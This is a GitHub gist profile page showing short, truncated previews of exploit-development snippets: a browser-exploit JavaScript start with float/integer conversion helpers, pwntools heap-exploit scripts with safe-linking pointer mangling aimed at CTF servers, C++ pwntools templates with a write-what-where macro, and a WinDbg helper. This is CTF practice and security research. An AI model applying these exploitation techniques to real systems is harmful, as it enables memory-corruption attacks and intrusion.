Skip to content

Instantly share code, notes, and snippets.

View hkraw's full-sized avatar

Harsh khuha hkraw

View GitHub Profile
<html>
<head>
<script>
( async() => {
let gc = function() {
for(let i = 0; i < 100; i++) {
new ArrayBuffer(0x10000000);
}
}
#!/usr/bin/python3
from pwn import *
# Helpers
def mangle(addr, value):
return (addr >> 12) ^ value
def demangle(obfus_ptr):
o2 = (obfus_ptr >> 12) ^ obfus_ptr
return (o2 >> 24) ^ o2
@hkraw
hkraw / windbg_pwndbg_wrap.js
Last active April 20, 2022 15:29
add proper chain handling
//"use script";
const color_red = "";
const color_green = "";
const color_yellow = "";
const color_blue = "";
const color_mag = "";
const color_cyan = "";
const color_default = "";
class Helpers {
constructor() {
this.cvt_buf = new ArrayBuffer(8);
this.cvt_f64a = new Float64Array(this.cvt_buf);
this.cvt_u64a = new BigUint64Array(this.cvt_buf);
this.cvt_u32a = new Uint32Array(this.cvt_buf);
}
ftoi(f) {
from pwn import *
from past.builtins import xrange
def a():
io.sendlineafter(')\n>','1')
def e(idx, data):
io.sendlineafter(')\n>','3')
io.sendlineafter('Index: ',str(idx))
io.sendafter('Content: ',data)
from pwn import *
import numpy as np
from IO_FILE import *
if __name__ == '__main__':
# io = process('./main2_success')
io = remote("bin.q21.ctfsecurinets.com",1340)
libc = ELF("./libc.so.6")
io.sendafter("Please provide student username: ","AAAAAAAA")
from pwn import *
if __name__=="_main__":
# io = process('./vuln')
io = remote('mercury.picoctf.net', 5654)
exe = ELF('./vuln')
io.sendlineafter("portfolio","1");
#include "gadgets.h"
#include <iostream>
#include <pwntools>
#include <stdint.h>
#include <string>
#include <sys/time.h>
#include <vector>
#define www(where, what) \
io->sendlineafter("n = ", "-1"); \
#include <iostream>
#include <pwntools>
#include <stdint.h>
#include <string>
#include <sys/time.h>
#include <vector>
using namespace pwn;
class Hack {
#include <iostream>
#include <pwntools>
#include <stdint.h>
#include <string>
#include <sys/time.h>
#include <vector>
using namespace pwn;
void play(Remote *io) {